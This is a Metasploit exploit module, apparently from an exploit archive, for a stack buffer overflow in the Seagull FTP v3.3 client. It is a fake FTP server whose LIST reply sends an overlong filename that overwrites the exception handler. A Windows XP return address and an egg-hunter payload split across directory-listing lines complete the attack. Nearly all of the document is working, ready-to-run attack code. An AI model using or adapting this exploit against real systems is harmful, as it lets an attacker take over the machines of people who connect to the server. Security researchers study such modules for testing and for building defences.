This Metasploit module exploits a buffer overflow in the Seagull FTP client that gets triggered when the ftp clients processes a response to a LIST command. If the response contains an overly long file/folder name, a buffer overflow occurs, overwriting a structured exception handler.
9941cb1e0eab82770705bd52bcc11e247b265de2b6214cf38bf56899f9ca66c6
##
# $Id: seagull_list_reply.rb 10661 2010-10-12 18:40:13Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Omelet
def initialize(info = {})
super(update_info(info,
'Name' => 'Seagull FTP v3.3 build 409 Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Seagull FTP client that gets
triggered when the ftp clients processes a response to a LIST command. If the
response contains an overly long file/folder name, a buffer overflow occurs,
overwriting a structured exception handler.
},
'Author' =>
[
'corelanc0d3r' # found bug, wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 10661 $",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => '\x00',
'StackAdjustment' => -1500,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP Universal', { 'Offset' => 232, 'Ret' => 0x7CE4650C } ], # jmp esp shell32.dll
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
#---------------------------------------------------------------------------------
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
print_status("Handling LIST command")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
crash = "A" * target['Offset']
crash << [target.ret].pack('V')
#corelanc0d3r's omelet mixin
thepayload = ("\x90" * 30) + payload.encoded
omeletoptions =
{
:eggsize => 123,
:eggtag => "00w",
:searchforward => true,
:reset => false,
:checksum => true
}
badchars = '\x00'
omelet = generate_omelet(thepayload,badchars,omeletoptions)
omeletcode = omelet[0]
print_status("[+] Omelet code : #{omeletcode.length} bytes")
print_status("[+] Number of eggs : #{omelet[1].length}")
print_status("[+] Sending payload")
crash << ("\x90" * 30) + omeletcode
print_status(" - Sending directory list via data connection")
dirlist = ""
omelet[1].each do |thischunk|
print_status(" [+] Planted egg of #{thischunk.length} bytes")
dirlist << "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{thischunk}\r\n"
end
dirlist << "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{crash}\r\n"
conn.put("total #{omelet[1].length+1}\r\n"+dirlist)
conn.close
print_status(" - Wait for omelet hunter...")
return
end
end